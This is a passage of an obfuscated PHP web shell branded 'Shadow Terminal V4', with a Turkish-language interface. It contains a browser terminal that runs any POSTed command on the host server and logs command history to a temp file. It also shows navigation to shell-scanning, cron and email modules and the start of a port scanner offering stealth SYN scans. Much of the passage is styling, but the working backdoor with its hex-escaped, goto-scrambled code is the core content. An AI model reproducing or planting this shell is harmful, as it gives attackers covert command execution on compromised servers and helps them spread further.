(isset($_POST["\x74\x65\x72\x6d\137\143\155\x64"]) && !empty($_POST["\x74\145\162\155\137\x63\155\144"])) { $termCmd = $_POST["\x74\145\x72\155\137\143\x6d\144"]; if (strpos($termCmd, "\143\x64\x20") === 0) { $newDir = trim(substr($termCmd, 3)); if ($newDir == "\176") { $newDir = $_SERVER["\110\x4f\115\105"] ?? "\57"; } if (is_dir($newDir)) { chdir($newDir); $currentDir = getcwd(); $termOutput = "\xe2\234\205\x20\x44\x69\x7a\151\156\40\x64\145\304\x9f\x69\305\237\164\151\162\151\x6c\144\151\72\x20" . $currentDir; } else { $termOutput = "\342\x9d\x8c\40\104\x69\x7a\x69\156\40\142\165\154\165\x6e\141\155\141\144\xc4\261\72\40" . $newDir; } } else { $termOutput = runCmd($termCmd); } $logFile = sys_get_temp_dir() . "\x2f\x74\x65\162\155\151\156\x61\x6c\137\150\x69\x73\x74\x6f\x72\171\56\164\x78\164"; file_put_contents($logFile, date("\x48\72\x69\72\x73") . "\40\x7c\x20" . $termCmd . "\12", FILE_APPEND); } if (isset($_POST["\164\x65\x72\x6d\137\143\154\x65\x61\162"])) { $termOutput = ''; $termCmd = ''; } $history = array(); $logFile = sys_get_temp_dir() . "\57\164\145\x72\x6d\151\x6e\141\x6c\x5f\150\151\x73\164\x6f\162\x79\x2e\164\170\164"; if (file_exists($logFile)) { $history = array_slice(file($logFile), -20); } $username = getCurrentUser(); $hostname = isWindows() ? gethostname() : php_uname("\156"); $isRoot = isRoot(); $dirDisplay = str_replace("\134", "\x2f", $currentDir); ?> <style> /* ============================================================ TERMINAL V4 - ORTALI VE ŞIK ============================================================ */ .terminal-wrapper { background: #0a0010; border-radius: 10px; border: 1px solid #3a0a5a; overflow: hidden; font-family: 'JetBrains Mono', monospace; margin-bottom: 10px; max-width: 1200px; margin-left: auto; margin-right: auto; } /* ===== TERMINAL HEADER ===== */ .term-header { background: #050008; padding: 8px 16px; border-bottom: 1px solid #3a0a5a; display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: 6px; } .term-header .left { display: flex; align-items: center; gap: 10px; } .term-header .left .dots { display: flex; gap: 5px; } .term-header .left .dots span { width: 10px; height: 10px; border-radius: 50%; display: inline-block; } .term-header .left .dots .red { background: #b300ff; } .term-header .left .dots .yellow { background: #ffd700; } .term-header .left .dots .green { background: #2ecc71; } .term-header .left .title { color: #5a2a7a; font-size: 10px; margin-left: 6px; } .term-header .right { display: flex; align-items: center; gap: 12px; font-size: 9px; color: #5a2a7a; flex-wrap: wrap; } .term-header .right .user { color: #2ecc71; } .term-header .right .user.root { color: #ffd700; } .term-header .right .path { color: #b300ff; font-size: 8px; max-width: 200px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } .term-header .right .status { color: #2ecc71; display: flex; align-items: center; gap: 4px; } .term-header .right .status .dot { width: 6px; height: 6px; background: #2ecc71; border-radius: 50%; animation: pulse 2s infinite; } .term-header .right .os-icon { font-size: 12px; } @keyframes pulse { 0%, 100% { opacity: 1; transform: scale(1); } 50% { opacity: 0.4; transform: scale(0.8); } } /* ===== TERMINAL BODY ===== */ .term-body { padding: 16px 20px; min-height: 400px; max-height: 550px; overflow-y: auto; background: #0a0010; position: relative; } .term-body::-webkit-scrollbar { width: 5px; } .term-body::-webkit-scrollbar-track { background: #0a0010; } .term-body::-webkit-scrollbar-thumb { background: #3a0a5a; border-radius: 10px; } .term-body .line { padding: 2px 0; display: flex; align-items: flex-start; gap: 8px; font-size: 11px; line-height: 1.6; color: #b0c4de; } .term-body .line .prompt { color: #b300ff; font-weight: 700; white-space: nowrap; user-select: none; } .term-body .line .prompt .user { color: #2ecc71; } .term-body .line .prompt .user.root { color: #ffd700; } .term-body .line .prompt .separator { color: #5a2a7a; } .term-body .line .prompt .host { color: #3498db; } .term-body .line .prompt .path { color: #b300ff; } .term-body .line .cmd { color: #e0e8f0; word-break: break-all; flex: 1; } .term-body .output { padding: 4px 0 4px 28px; font-size: 10px; line-height: 1.7; color: #b0c4de; white-space: pre-wrap; word-break: break-all; border-left: 2px solid #1a0525; margin: 2px 0; } .term-body .output .highlight { color: #ffd700; } .term-body .output .error { color: #b300ff; } .term-body .output .success { color: #2ecc71; } .term-body .output .info { color: #3498db; } .term-body .output .warning { color: #f39c12; } /* ===== HOŞGELDİN EKRANI ===== */ .term-body .welcome { display: flex; flex-direction: column; align-items: center; justify-content: center; min-height: 300px; text-align: center; padding: 20px; } .term-body .welcome .terminal-icon { font-size: 48px; color: #b300ff; opacity: 0.3; margin-bottom: 16px; } .term-body .welcome .title { color: #b300ff; font-size: 18px; font-weight: 700; letter-spacing: 2px; } .term-body .welcome .subtitle { color: #5a2a7a; font-size: 11px; margin-top: 4px; } /* ===== BİLGİ KARTLARI (YAN YANA) ===== */ .term-body .info-cards { display: flex; justify-content: center; gap: 20px; margin: 12px 0; flex-wrap: wrap; } .term-body .info-cards .card { background: #0a0010; border: 1px solid #1a0525; border-radius: 6px; padding: 6px 14px; display: flex; align-items: center; gap: 6px; font-size: 9px; color: #5a2a7a; transition: 0.3s; } .term-body .info-cards .card:hover { border-color: #3a0a5a; } .term-body .info-cards .card i { color: #b300ff; font-size: 10px; } .term-body .info-cards .card .val { color: #b0c4de; font-weight: 700; } .term-body .info-cards .card .val.root { color: #ffd700; } /* ===== KISA YOLLAR ===== */ .term-body .shortcuts { display: flex; justify-content: center; gap: 14px; margin-top: 8px; flex-wrap: wrap; } .term-body .shortcuts .key { background: #050008; border: 1px solid #1a0525; border-radius: 4px; padding: 2px 8px; font-size: 7px; color: #3a0a5a; display: flex; align-items: center; gap: 4px; } .term-body .shortcuts .key i { color: #5a2a7a; font-size: 8px; } .term-body .shortcuts .key span { color: #5a2a7a; } /* ===== TERMINAL INPUT ===== */ .term-input-area { background: #050008; border-top: 1px solid #3a0a5a; padding: 8px 16px; display: flex; align-items: center; gap: 10px; } .term-input-area .prompt { color: #b300ff; font-weight: 700; font-size: 11px; white-space: nowrap; user-select: none; } .term-input-area .prompt .user { color: #2ecc71; } .term-input-area .prompt .user.root { color: #ffd700; } .term-input-area .prompt .separator { color: #5a2a7a; } .term-input-area .prompt .host { color: #3498db; } .term-input-area .prompt .path { color: #b300ff; } .term-input-area form { flex: 1; display: flex; align-items: center; gap: 6px; } .term-input-area form input { flex: 1; background: transparent; border: none; border-bottom: 1px solid transparent; color: #e0e8f0; font-family: 'JetBrains Mono', monospace; font-size: 11px; padding: 6px 0; outline: none; transition: 0.3s; } .term-input-area form input:focus { border-bottom-color: #b300ff; } .term-input-area form input::placeholder { color: #2a0a4a; } .term-input-area form button { padding: 4px 14px; background: #b300ff; border: none; border-radius: 4px; color: #0a0010; font-weight: 700; font-size: 10px; cursor: pointer; transition: 0.3s; font-family: 'JetBrains Mono', monospace; white-space: nowrap; } .term-input-area form button:hover { background: #8f00cc; transform: scale(1.02); } .term-input-area form button.btn-clear { background: transparent; border: 1px solid #3a0a5a; color: #5a2a7a; } .term-input-area form button.btn-clear:hover { background: #b300ff; color: #0a0010; border-color: #b300ff; } /* ===== TERMINAL FOOTER ===== */ .term-footer { background: #050008; border-top: 1px solid #3a0a5a; padding: 4px 16px; display: flex; justify-content: space-between; font-size: 7px; color: #3a0a5a; flex-wrap: wrap; gap: 4px; } .term-footer .history { display: flex; gap: 6px; align-items: center; flex-wrap: wrap; flex: 1; } .term-footer .history .label { color: #5a1a7a; font-size: 7px; } .term-footer .history .item { background: #0a0010; padding: 1px 6px; border-radius: 4px; color: #5a2a7a; border: 1px solid #1a0525; font-size: 7px; cursor: pointer; transition: 0.3s; max-width: 80px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } .term-footer .history .item:hover { border-color: #b300ff; color: #b300ff; } .term-footer .stats { display: flex; gap: 10px; align-items: center; flex-shrink: 0; } .term-footer .stats span { color: #5a1a7a; } .term-footer .stats .val { color: #b300ff; } /* ===== RESPONSIVE ===== */ @media (max-width: 768px) { .term-header { flex-direction: column; align-items: stretch; gap: 4px; } .term-header .right { justify-content: space-between; flex-wrap: wrap; } .term-header .right .path { max-width: 120px; } .term-input-area { flex-wrap: wrap; padding: 6px 10px; } .term-input-area .prompt { font-size: 9px; } .term-input-area form input { font-size: 10px; } .term-body { padding: 12px 14px; max-height: 350px; min-height: 250px; } .term-body .line { font-size: 10px; } .term-body .output { font-size: 9px; padding-left: 16px; } .term-body .info-cards { gap: 10px; } .term-body .info-cards .card { font-size: 8px; padding: 4px 10px; } .term-body .welcome .title { font-size: 14px; } .term-body .welcome .terminal-icon { font-size: 32px; } .term-footer { flex-direction: column; align-items: stretch; gap: 4px; } .term-footer .history { order: 2; } .term-footer .stats { order: 1; justify-content: space-between; } } @media (max-width: 480px) { .term-body .line .prompt { font-size: 8px; } .term-body .line .cmd { font-size: 9px; } .term-input-area form button { font-size: 8px; padding: 3px 10px; } .term-header .right .path { max-width: 80px; font-size: 7px; } .term-body .info-cards .card { font-size: 7px; padding: 3px 8px; } .term-body .info-cards .card .val { font-size: 8px; } .term-body .shortcuts .key { font-size: 6px; padding: 1px 6px; } } </style> <!-- ============================================================ --> <!-- ===== HTML ===== --> <!-- ============================================================ --> <div class="terminal-wrapper"> <!-- HEADER --> <div class="term-header"> <div class="left"> <div class="dots"> <span class="red"></span> <span class="yellow"></span> <span class="green"></span> </div> <span class="title"><i class="fas fa-terminal"></i> Shadow Terminal</span> </div> <div class="right"> <span class="user <?php echo $isRoot ? "\162\157\x6f\x74" : ''; ?> "> <i class="fas fa-user"></i> <?php echo $username; ?> <?php if ($isRoot) { ?> 👑<?php } ?> </span> <span class="path"><i class="fas fa-folder"></i> <?php echo $dirDisplay; ?> </span> <span class="status"><span class="dot"></span> Online</span> <span class="os-icon"><?php echo isWindows() ? "\360\237\252\237" : "\360\237\x90\xa7"; ?> </span> </div> </div> <!-- BODY --> <div class="term-body" id="termBody"> <?php if (!empty($termOutput) || !empty($termCmd)) { ?> <!-- Komut Satırı --> <div class="line"> <span class="prompt"> <span class="user <?php echo $isRoot ? "\x72\x6f\x6f\x74" : ''; ?> "><?php echo $username; ?> </span> <span class="separator">@</span> <span class="host"><?php echo $hostname; ?> </span> <span class="separator">:</span> <span class="path"><?php echo str_replace("\134", "\57", getcwd()); ?> </span> <span class="separator">$</span> </span> <span class="cmd"><?php echo htmlspecialchars($termCmd); ?> </span> </div> <!-- Çıktı --> <div class="output"> <?php $output = trim($termOutput); if (empty($output)) { echo "\74\163\160\141\156\x20\163\x74\171\x6c\x65\75\42\143\x6f\x6c\157\x72\72\x23\65\x61\x31\x61\x37\x61\x3b\x22\x3e\xe2\232\240\40\113\157\155\165\x74\x20\303\247\x61\154\304\261\305\237\164\xc4\xb1\x20\x61\155\141\x20\303\xa7\xc4\xb1\x6b\x74\304\xb1\x20\x79\157\153\74\57\163\160\x61\156\76"; } else { $output = htmlspecialchars($output); $output = preg_replace("\57\x65\x72\162\157\x72\x7c\x66\141\151\x6c\x7c\x64\145\x6e\151\145\144\174\x70\145\x72\155\151\163\x73\x69\x6f\x6e\57\x69", "\x3c\163\160\141\x6e\x20\x63\x6c\141\163\163\x3d\42\x65\x72\x72\x6f\x72\42\x3e\44\x30\74\x2f\163\x70\x61\156\x3e", $output); $output = preg_replace("\x2f\163\165\x63\x63\145\x73\x73\174\157\x6b\x7c\144\x6f\156\x65\174\143\157\x6d\160\154\145\x74\145\x64\57\151", "\x3c\163\x70\x61\156\40\143\x6c\x61\x73\x73\75\x22\x73\165\x63\x63\145\x73\x73\42\x3e\x24\60\x3c\57\163\160\x61\x6e\76", $output); $output = preg_replace("\x2f\167\141\162\x6e\x69\x6e\147\174\x63\141\x75\164\x69\x6f\156\x7c\x61\164\x74\145\x6e\x74\151\157\x6e\x2f\151", "\74\163\160\x61\x6e\40\x63\154\141\163\163\x3d\42\x77\141\162\156\151\156\147\x22\x3e\44\x30\x3c\x2f\x73\160\141\x6e\x3e", $output); echo nl2br($output); } ?> </div> <?php } else { ?> <!-- HOŞGELDİN EKRANI --> <div class="welcome"> <div class="terminal-icon"> <i class="fas fa-terminal"></i> </div> <div class="title">Shadow Terminal</div> <div class="subtitle"> <?php echo $config["\166\145\x72\x73\x69\x6f\156"]; ?> | <?php echo isWindows() ? "\x57\x69\x6e\x64\x6f\167\x73" : "\x4c\x69\x6e\x75\170"; ?> | PHP <?php echo phpversion(); ?> </div> <!-- BİLGİ KARTLARI (YAN YANA) --> <div class="info-cards"> <div class="card"> <i class="fas fa-user"></i> <span class="val <?php echo $isRoot ? "\162\157\157\x74" : ''; ?> "><?php echo $username; ?> </span> <?php if ($isRoot) { ?> <span style="color:#ffd700;">👑</span><?php } ?> </div> <div class="card"> <i class="fas fa-folder"></i> <span class="val"><?php echo $dirDisplay; ?> </span> </div> <div class="card"> <i class="fas fa-clock"></i> <span class="val"><?php echo date("\x48\x3a\x69\x3a\163"); ?> </span> </div> <div class="card"> <i class="fas fa-microchip"></i> <span class="val"><?php echo isWindows() ? "\x57\x69\156\144\x6f\167\163" : "\114\x69\156\x75\170"; ?> </span> </div> <div class="card"> <i class="fas fa-code"></i> <span class="val">PHP <?php echo phpversion(); ?> </span> </div> </div> <!-- KISA YOLLAR --> <div class="shortcuts"> <div class="key"> <i class="fas fa-arrow-up"></i> <i class="fas fa-arrow-down"></i> <span>Geçmiş</span> </div> <div class="key"> <i class="fas fa-eraser"></i> <span>ESC Temizle</span> </div> <div class="key"> <i class="fas fa-check"></i> <span>Enter Çalıştır</span> </div> <div class="key"> <i class="fas fa-sync"></i> <span>Ctrl+Enter Hızlı</span> </div> </div> </div> <?php } ?> </div> <!-- INPUT --> <div class="term-input-area"> <span class="prompt"> <span class="user <?php echo $isRoot ? "\x72\x6f\x6f\164" : ''; ?> "><?php echo $username; ?> </span> <span class="separator">@</span> <span class="host"><?php echo $hostname; ?> </span> <span class="separator">:</span> <span class="path"><?php echo $dirDisplay; ?> </span> <span class="separator">$</span> </span> <form method="POST" id="termForm" autocomplete="off"> <input type="text" name="term_cmd" id="termInput" placeholder="Komut girin..." value="<?php echo htmlspecialchars($termCmd); ?> " autofocus autocomplete="off"> <button type="submit"><i class="fas fa-arrow-right"></i></button> <button type="submit" name="term_clear" value="1" class="btn-clear" onclick="return confirm('Terminali temizlemek istediğine emin misin?')"> <i class="fas fa-eraser"></i> </button> </form> </div> <!-- FOOTER --> <div class="term-footer"> <div class="history"> <span class="label"><i class="fas fa-history"></i> Geçmiş:</span> <?php if (!empty($history)) { $display = array_slice(array_reverse($history), 0, 5); foreach ($display as $h) { $h = trim($h); $parts = explode("\x20\x7c\x20", $h); $time = isset($parts[0]) ? $parts[0] : ''; $cmd = isset($parts[1]) ? $parts[1] : $h; ?> <span class="item" onclick="document.getElementById('termInput').value='<?php echo addslashes(trim($cmd)); ?> ';document.getElementById('termInput').focus();" title="<?php echo htmlspecialchars(trim($cmd)); ?> "> <?php echo htmlspecialchars(strlen($cmd) > 15 ? substr($cmd, 0, 13) . "\342\x80\246" : $cmd); ?> </span> <?php } } ?> <?php if (empty($history)) { ?> <span style="color:#3a0a5a;">Henüz komut yok</span> <?php } ?> </div> <div class="stats"> <span><i class="fas fa-clock"></i> <?php echo date("\x48\x3a\x69\72\163"); ?> </span> <span><i class="fas fa-terminal"></i> <span class="val"><?php echo !empty($history) ? count($history) : "\x30"; ?> </span></span> <span><i class="fas fa-user"></i> <?php echo $isRoot ? "\xf0\237\221\x91" : "\360\x9f\x91\244"; ?> </span> </div> </div> </div> <!-- ============================================================ --> <!-- ===== JAVASCRIPT ===== --> <!-- ============================================================ --> <script> document.addEventListener('DOMContentLoaded', function() { var input = document.getElementById('termInput'); var body = document.getElementById('termBody'); var form = document.getElementById('termForm'); var history = <?php echo json_encode(array_reverse(array_map(function ($h) { $parts = explode("\x20\x7c\x20", trim($h)); return isset($parts[1]) ? trim($parts[1]) : trim($h); }, $history))); ?> ; var historyIndex = -1; // Input focus if (input) { setTimeout(function() { input.focus(); }, 100); } // Terminal body scroll to bottom if (body) { body.scrollTop = body.scrollHeight; } // Click on body to focus input document.querySelector('.term-body')?.addEventListener('click', function() { if (input) input.focus(); }); // Keyboard shortcuts document.addEventListener('keydown', function(e) { // ↑ ↓ for history if (input && document.activeElement === input) { if (e.key === 'ArrowUp') { e.preventDefault(); if (historyIndex < history.length - 1) { historyIndex++; input.value = history[historyIndex] || ''; } } else if (e.key === 'ArrowDown') { e.preventDefault(); if (historyIndex > 0) { historyIndex--; input.value = history[historyIndex] || ''; } else { historyIndex = -1; input.value = ''; } } } // Ctrl+Enter to submit if (e.ctrlKey && e.key === 'Enter') { e.preventDefault(); if (input && input.value.trim()) { form.submit(); } } // Esc to clear input if (e.key === 'Escape' && input) { input.value = ''; input.focus(); historyIndex = -1; } }); // Prevent form reset on Enter form.addEventListener('submit', function(e) { if (input && input.value.trim() === '') { e.preventDefault(); return false; } }); console.log('🚀 Shadow Terminal V4 loaded!'); console.log('📌 Kullanıcı: <?php echo $username; ?> '); console.log('📌 Dizin: <?php echo $dirDisplay; ?> '); console.log('📌 Komut geçmişi: ' + history.length); }); </script> <?php } goto g1iSc; WUBna: ?> "><i class="fas fa-shopping-cart"></i><span>Opencart</span></a> <div class="group-label">Ağ</div> <a href="?action=shellscan" class="<?php goto X119Z; Wn1Ed: ?> "><i class="fas fa-clock"></i><span>Cron</span></a> <a href="?action=email" class="<?php goto bnMcq; cGRzP: if ($action == "\x74\x6f\x6f\154\163") { ?> <style> :root { --neon-mor: #b300ff; --neon-mor-glow: rgba(179, 0, 255, 0.2); --neon-pembe: #ff00aa; --neon-mavi: #00d4ff; --neon-yesil: #00ff88; --neon-turuncu: #ff6a00; --neon-sari: #ffd700; } /* ===== PARTİKÜL ARKA PLAN ===== */ #particle-canvas { position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: 0; pointer-events: none; opacity: 0.4; } .tools-wrapper { position: relative; z-index: 1; padding: 10px; } /* ===== TOOL CARDS ===== */ .tools-container { display: grid; grid-template-columns: repeat(auto-fit, minmax(380px, 1fr)); gap: 20px; padding: 10px 0; } .tool-card { background: rgba(10, 0, 21, 0.85); backdrop-filter: blur(10px); border: 1px solid rgba(179, 0, 255, 0.15); border-radius: 15px; padding: 20px; position: relative; overflow: hidden; transition: all 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275); box-shadow: 0 0 20px rgba(179, 0, 255, 0.05); } .tool-card::before { content: ''; position: absolute; top: -100%; left: -100%; width: 300%; height: 300%; background: radial-gradient(circle at center, rgba(179, 0, 255, 0.03) 0%, transparent 70%); opacity: 0; transition: opacity 0.6s ease; pointer-events: none; } .tool-card:hover::before { opacity: 1; } .tool-card:hover { transform: translateY(-8px) scale(1.01); border-color: rgba(179, 0, 255, 0.4); box-shadow: 0 0 30px rgba(179, 0, 255, 0.1), 0 0 60px rgba(179, 0, 255, 0.05), inset 0 0 30px rgba(179, 0, 255, 0.05); } /* ===== CARD GLOW BORDER ===== */ .tool-card::after { content: ''; position: absolute; top: -1px; left: -1px; right: -1px; bottom: -1px; border-radius: 15px; background: linear-gradient(45deg, transparent 0%, rgba(179, 0, 255, 0.1) 20%, rgba(255, 0, 170, 0.05) 40%, transparent 60%, rgba(0, 212, 255, 0.05) 80%, transparent 100% ); z-index: -1; opacity: 0; transition: opacity 0.6s ease; pointer-events: none; } .tool-card:hover::after { opacity: 1; } /* ===== TOOL HEADER ===== */ .tool-header { display: flex; align-items: center; gap: 12px; margin-bottom: 15px; padding-bottom: 10px; border-bottom: 1px solid rgba(179, 0, 255, 0.08); } .tool-header i { font-size: 20px; color: var(--neon-mor); text-shadow: 0 0 20px rgba(179, 0, 255, 0.2); animation: iconPulse 3s ease-in-out infinite; } @keyframes iconPulse { 0%, 100% { text-shadow: 0 0 20px rgba(179, 0, 255, 0.2); } 50% { text-shadow: 0 0 40px rgba(179, 0, 255, 0.4), 0 0 80px rgba(179, 0, 255, 0.1); } } .tool-header h4 { color: #d4bfff; font-size: 13px; font-weight: 600; text-transform: uppercase; letter-spacing: 2px; text-shadow: 0 0 10px rgba(179, 0, 255, 0.1); margin: 0; } .tool-header .badge { margin-left: auto; font-size: 9px; padding: 2px 10px; border-radius: 10px; background: rgba(179, 0, 255, 0.1); border: 1px solid rgba(179, 0, 255, 0.2); color: rgba(180, 150, 255, 0.6); } /* ===== FORM ELEMENTS ===== */ .tool-form { display: flex; flex-direction: column; gap: 10px; } .tool-form .input-group { display: flex; gap: 8px; flex-wrap: wrap; } .tool-form input, .tool-form select, .tool-form textarea { flex: 1; min-width: 100px; background: rgba(0, 0, 0, 0.5); border: 1px solid rgba(179, 0, 255, 0.15); border-radius: 8px; padding: 10px 12px; color: #d4bfff; font-size: 12px; transition: all 0.3s ease; } .tool-form input:focus, .tool-form select:focus, .tool-form textarea:focus { outline: none; border-color: rgba(179, 0, 255, 0.5); box-shadow: 0 0 20px rgba(179, 0, 255, 0.1); background: rgba(0, 0, 0, 0.7); } .tool-form input::placeholder, .tool-form textarea::placeholder { color: rgba(180, 150, 255, 0.25); } .tool-form select option { background: #1a0033; color: #d4bfff; } /* ===== NEON BUTTONS ===== */ .btn-neon { background: linear-gradient(135deg, rgba(179, 0, 255, 0.2), rgba(255, 0, 170, 0.1)); border: 1px solid rgba(179, 0, 255, 0.3); border-radius: 8px; padding: 10px 20px; color: #d4bfff; font-weight: 600; font-size: 11px; text-transform: uppercase; letter-spacing: 1px; cursor: pointer; transition: all 0.3s ease; box-shadow: 0 0 15px rgba(179, 0, 255, 0.05); white-space: nowrap; position: relative; overflow: hidden; } .btn-neon:hover { background: linear-gradient(135deg, rgba(179, 0, 255, 0.3), rgba(255, 0, 170, 0.2)); border-color: rgba(179, 0, 255, 0.6); transform: scale(1.05); box-shadow: 0 0 30px rgba(179, 0, 255, 0.15); } .btn-neon:active { transform: scale(0.95); } .btn-neon.small { padding: 6px 14px; font-size: 10px; } .btn-neon.primary { background: linear-gradient(135deg, rgba(0, 212, 255, 0.2), rgba(179, 0, 255, 0.1)); border-color: rgba(0, 212, 255, 0.3); } .btn-neon.primary:hover { border-color: rgba(0, 212, 255, 0.6); box-shadow: 0 0 30px rgba(0, 212, 255, 0.15); } .btn-neon.success { background: linear-gradient(135deg, rgba(0, 255, 136, 0.2), rgba(0, 212, 255, 0.1)); border-color: rgba(0, 255, 136, 0.3); } .btn-neon.success:hover { border-color: rgba(0, 255, 136, 0.6); box-shadow: 0 0 30px rgba(0, 255, 136, 0.15); } .btn-neon.warning { background: linear-gradient(135deg, rgba(255, 215, 0, 0.2), rgba(255, 106, 0, 0.1)); border-color: rgba(255, 215, 0, 0.3); } .btn-neon.warning:hover { border-color: rgba(255, 215, 0, 0.6); box-shadow: 0 0 30px rgba(255, 215, 0, 0.15); } .btn-group { display: flex; gap: 8px; flex-wrap: wrap; } /* ===== TERMINAL OUTPUT ===== */ .terminal-output { background: rgba(0, 0, 0, 0.7); border: 1px solid rgba(179, 0, 255, 0.1); border-radius: 8px; margin-top: 12px; padding: 12px; max-height: 320px; overflow-y: auto; font-family: 'Courier New', monospace; font-size: 11px; position: relative; } .terminal-output::before { content: '▼'; position: sticky; top: 0; display: block; text-align: center; color: rgba(179, 0, 255, 0.1); font-size: 10px; padding-bottom: 5px; background: rgba(0, 0, 0, 0.5); backdrop-filter: blur(5px); margin: -12px -12px 5px -12px; padding: 5px 0; border-bottom: 1px solid rgba(179, 0, 255, 0.05); } .terminal-output::-webkit-scrollbar { width: 4px; } .terminal-output::-webkit-scrollbar-track { background: rgba(0, 0, 0, 0.3); border-radius: 2px; } .terminal-output::-webkit-scrollbar-thumb { background: rgba(179, 0, 255, 0.3); border-radius: 2px; } .terminal-output::-webkit-scrollbar-thumb:hover { background: rgba(179, 0, 255, 0.5); } .output-line { padding: 4px 0; border-bottom: 1px solid rgba(179, 0, 255, 0.03); color: #c4b0e6; line-height: 1.5; } .output-line:last-child { border-bottom: none; } .output-line .success { color: var(--neon-yesil); text-shadow: 0 0 10px rgba(0, 255, 136, 0.15); } .output-line .error { color: #ff3366; text-shadow: 0 0 10px rgba(255, 51, 102, 0.15); } .output-line .info { color: var(--neon-mavi); text-shadow: 0 0 10px rgba(0, 212, 255, 0.15); } .output-line .warn { color: var(--neon-sari); text-shadow: 0 0 10px rgba(255, 215, 0, 0.15); } .output-line .highlight { color: var(--neon-pembe); text-shadow: 0 0 10px rgba(255, 0, 170, 0.15); } .output-line .dim { color: rgba(180, 150, 255, 0.4); } /* ===== STATUS BADGES ===== */ .status-badge { display: inline-block; padding: 1px 10px; border-radius: 10px; font-size: 9px; font-weight: 700; text-transform: uppercase; letter-spacing: 0.5px; } .status-badge.open { background: rgba(0, 255, 136, 0.1); color: var(--neon-yesil); border: 1px solid rgba(0, 255, 136, 0.2); } .status-badge.closed { background: rgba(255, 51, 102, 0.1); color: #ff3366; border: 1px solid rgba(255, 51, 102, 0.2); } .status-badge.filtered { background: rgba(255, 215, 0, 0.1); color: var(--neon-sari); border: 1px solid rgba(255, 215, 0, 0.2); } /* ===== PROGRESS BAR ===== */ .progress-bar { width: 100%; height: 2px; background: rgba(179, 0, 255, 0.05); border-radius: 2px; margin: 6px 0; overflow: hidden; } .progress-bar .fill { height: 100%; background: linear-gradient(90deg, var(--neon-mor), var(--neon-pembe), var(--neon-mavi)); border-radius: 2px; transition: width 0.5s ease; box-shadow: 0 0 10px rgba(179, 0, 255, 0.2); } /* ===== TOOL TABS ===== */ .tool-tabs { display: flex; gap: 4px; margin-bottom: 12px; border-bottom: 1px solid rgba(179, 0, 255, 0.05); padding-bottom: 8px; } .tool-tab { padding: 4px 12px; background: transparent; border: none; color: rgba(180, 150, 255, 0.3); font-size: 10px; cursor: pointer; transition: all 0.3s ease; border-radius: 4px; text-transform: uppercase; letter-spacing: 0.5px; } .tool-tab:hover { color: rgba(180, 150, 255, 0.6); background: rgba(179, 0, 255, 0.05); } .tool-tab.active { color: var(--neon-mor); background: rgba(179, 0, 255, 0.08); text-shadow: 0 0 10px rgba(179, 0, 255, 0.1); } .tool-tab-content { display: none; } .tool-tab-content.active { display: block; animation: fadeSlideIn 0.3s ease; } @keyframes fadeSlideIn { from { opacity: 0; transform: translateY(5px); } to { opacity: 1; transform: translateY(0); } } /* ===== TOGGLE SWITCH ===== */ .toggle-switch { position: relative; display: inline-block; width: 34px; height: 18px; margin: 0 8px; } .toggle-switch input { opacity: 0; width: 0; height: 0; } .toggle-slider { position: absolute; cursor: pointer; top: 0; left: 0; right: 0; bottom: 0; background: rgba(179, 0, 255, 0.1); transition: 0.3s; border-radius: 20px; border: 1px solid rgba(179, 0, 255, 0.2); } .toggle-slider:before { content: ""; position: absolute; height: 12px; width: 12px; left: 2px; bottom: 2px; background: rgba(180, 150, 255, 0.3); transition: 0.3s; border-radius: 50%; } .toggle-switch input:checked + .toggle-slider { background: rgba(179, 0, 255, 0.2); border-color: rgba(179, 0, 255, 0.4); } .toggle-switch input:checked + .toggle-slider:before { transform: translateX(16px); background: var(--neon-mor); box-shadow: 0 0 20px rgba(179, 0, 255, 0.3); } .toggle-label { color: rgba(180, 150, 255, 0.6); font-size: 10px; display: flex; align-items: center; gap: 4px; } /* ===== RESPONSIVE ===== */ @media (max-width: 768px) { .tools-container { grid-template-columns: 1fr; gap: 15px; } .tool-card { padding: 15px; } .tool-form .input-group { flex-direction: column; } .btn-neon { width: 100%; justify-content: center; } } /* ===== SCROLLBAR GLOBAL ===== */ ::-webkit-scrollbar { width: 6px; height: 6px; } ::-webkit-scrollbar-track { background: rgba(0, 0, 0, 0.2); } ::-webkit-scrollbar-thumb { background: rgba(179, 0, 255, 0.2); border-radius: 3px; } ::-webkit-scrollbar-thumb:hover { background: rgba(179, 0, 255, 0.4); } /* ===== TOOLTIP ===== */ .tooltip { position: relative; cursor: help; } .tooltip:hover::after { content: attr(data-tip); position: absolute; bottom: 100%; left: 50%; transform: translateX(-50%); padding: 4px 10px; background: rgba(0, 0, 0, 0.9); color: #d4bfff; font-size: 10px; border-radius: 4px; border: 1px solid rgba(179, 0, 255, 0.2); white-space: nowrap; z-index: 10; } </style> <!-- ===== PARTİKÜL CANVAS ===== --> <canvas id="particle-canvas"></canvas> <div class="tools-wrapper"> <div class="tools-container"> <!-- ============================================================ --> <!-- 1. PORT TARAMA - GELİŞMİŞ --> <!-- ============================================================ --> <div class="tool-card"> <div class="tool-header"> <i class="fas fa-network-wired"></i> <h4>🔍 Port Scanner</h4> <span class="badge">TCP/UDP</span> </div> <div class="tool-tabs"> <button class="tool-tab active" data-tab="scan-basic">Temel</button> <button class="tool-tab" data-tab="scan-advanced">Gelişmiş</button> <button class="tool-tab" data-tab="scan-options">Seçenekler</button> </div> <form method="POST" class="tool-form"> <div class="tool-tab-content active" id="scan-basic"> <div class="input-group"> <input type="text" name="scan_ip" placeholder="Hedef IP" value="<?php echo $_SERVER["\x53\105\122\x56\105\x52\x5f\101\104\x44\122"]; ?> "> </div> <div class="input-group"> <input type="text" name="scan_ports" placeholder="Portlar (örn: 80,443,1-1000)" value="80,443,22,21,3306,8080,8443"> </div> <div class="input-group"> <select name="scan_type"> <option value="tcp">TCP Connect</option> <option value="syn">SYN (Stealth)</option> <option value="udp">UDP</option> <option value="tcp_udp">TCP+UDP</option> </select> <input type="number" name="scan_timeout" placeholder="Timeout" value="1" style="max-width:80px;"> <input type="number" name="scan_threads" placeholder="Threads" value="50" style="max-width:80px;"> </div> </div> <div class="tool-tab-content" id="scan-advanced"> <div class="input-group"> <label class="toggle-label"> <span class="toggle-switch"> <input type="checkbox" name="scan_os_detect" value="1"> <span class="toggle-slider"></span> </span> OS Tespiti </label> <label class="toggle-label"> <span class="toggle-switch"> <input type="checkbox" name="scan_service_detect" value="1" checked> <span class="toggle-slider"></span> </span> 